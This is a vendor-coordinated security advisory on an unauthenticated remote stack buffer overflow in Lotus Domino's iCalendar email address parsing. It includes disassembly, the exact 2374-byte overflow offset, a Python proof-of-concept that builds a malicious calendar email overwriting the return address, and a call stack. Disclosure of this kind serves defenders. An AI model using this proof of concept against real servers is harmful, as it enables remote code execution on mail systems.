source: http://labs.mwrinfosecurity.com/advisories/lotus_domino_ical_stack_buffer_overflow/ IBM Lotus Domino iCalendar Email Address Stack Buffer Overflow Vulnerability Package Name: Lotus Domino Server Date Reported: 2010-01-09 Affected Versions: Versions 8.0 and 8.5 on AIX, AIX 64bit, Linux, Linux iSeries, Linux zSeries, Solaris, Windows, Windows 64bit, z/OS CVE Reference Not Yet Assigned Author A. Plaskett Severity High Risk Local/Remote Remote Impact The vulnerability would enable an attacker to execute arbitrary code on the system in the context of the currently executing nrouter process. Vulnerability Class Stack based buffer overflow Vendor URL http://www.ibm.com Version 8.0, 8.5 Vendor Response A patch is available from: http://www- 01.ibm.com/support/docview.wss?rs=475&uid=swg21446515 Overview: An unauthenticated remote code execution vulnerability was identified in the code handling the conversion and checking of an iCalendar email address parameter. An overly large email address string can lead to the overflow of a stack allocated buffer due to insufficient bounds checking when a CStrcpy (string copy) is performed. A remote, unauthenticated attacker could execute code in the context of the Lotus Domino server process (nrouter.exe) by sending a specially crafted malicious email to the Lotus Domino SMTP server. Technical Background The vulnerability exists due to a lack of bounds checking performed in the function “nnotes!MailCheck821Address” before performing a string copy operation (Cstrcpy). .text:602738F7 push esi .text:602738F8 push edx .text:602738F9 call Cstrcpy The ESI register holds the source address of the copy, which is read from the iCalendar email and so is under an attacker’s control. The EDX register holds the address of the fixed size stack buffer. Consequently, the Cstrcpy operation can be passed a string which overflows the fixed size stack based buffer and causes memory corruption. This memory corruption can be used to hijack the flow of execution of the program and execute arbitrary code. Exploit Information An attacker could exploit this vulnerability by crafting an email containing an iCalendar with an email address string which is sufficiently long to overwrite stack based variables and also overwrite the saved return address which is stored in the stack frame (the required string length being 2374 bytes). The attacker could then pass an address which would be used to overwrite the saved return address. When the function returns, the return address is popped off the stack and loaded into the EIP (Extended Instruction Pointer) register. At this point, the attacker has full control over the execution of the program and can execute their desired code. The following proof of concept Python code excerpt can be used to trigger the vulnerability with the malicious ORGANIZER mailto address: ret_address = “BBBB” overflow = ("A" * 2374) + ret_address + ("C" * 6632) organiser = "ORGANIZER:mailto:H@%s.com" % overflow body = "Content-Type: text/calendar; method=COUNTER; charset="UTF-8" Subject: sent_mail2.txt MIME-Version: 1.0 Content-Transfer-Encoding: 8bit BEGIN:VCALENDAR METHOD:COUNTER PRODID:-//HGOPO@VDGCOHBCOGHRO@GQHOOPGHHCCCGCBGGCLGMCPN// VERSION:2.0 BEGIN:VEVENT UID:KORBOOGGGOHGNIH SEQ:2 RRULE:aaaa %s ATTENDEE;:Mailto:aaaa@localdomain SUMMARY:PGOMG@OMPGR@KOFMEOPNCMH DTSTART:20091130T093000Z DTEND:20091130T093000Z DTSTAMP:20091130T083147Z LOCATION:Location STATUS:aaaa END:VEVENT END:VCALENDAR “”” % organiser If this email is delivered to a Lotus Domino SMTP server, nrouter will perform the following calls: - 0833519c 60ca844c 094dddb8 nnotes!MailCheck821Address+0xb07 0833519c 00000019 083200f8 nnotes!Note2iCal+0x1c25c 0000000a 083200f8 094de824 nnotes!iCal2NotesExtract+0x247 000000c7 06e41f62 083210ac nRouter+0x3ee9e 00000063 000000c7 06e41f62 nRouter+0x3f1cd 02a19f58 00000000 000000c7 nRouter+0x1c433 004673a0 00000000 03f23325 nRouter+0x1ddd0 004673a0 21700001 00000001 nRouter+0x1e3a5 029b0000 00000000 00000000 nRouter+0x1e6ed 00000000 094dffd4 7751b3f5 nnotes!OSProcessIsGUI+0xef 00000000 7e454e05 00000000 kernel32!BaseThreadInitThunk+0x12 600fe640 00000000 00000000 ntdll!RtlInitializeExceptionChain+0x63 600fe640 00000000 00000000 ntdll!RtlInitializeExceptionChain+0x36 Leading to the incorrectly bounded Cstrcpy function being called and the return address being overwritten with 42424242, which will then be loaded into the EIP register. At this point the attacker has full control over the flow of execution of the program (nrouter.exe). Dependencies In order to exploit this vulnerability an attacker would need to know the email address of a valid Lotus Domino mailbox account. It should be noted, however, that no user interaction is required for the vulnerability to be triggered (nrouter will process the email automatically).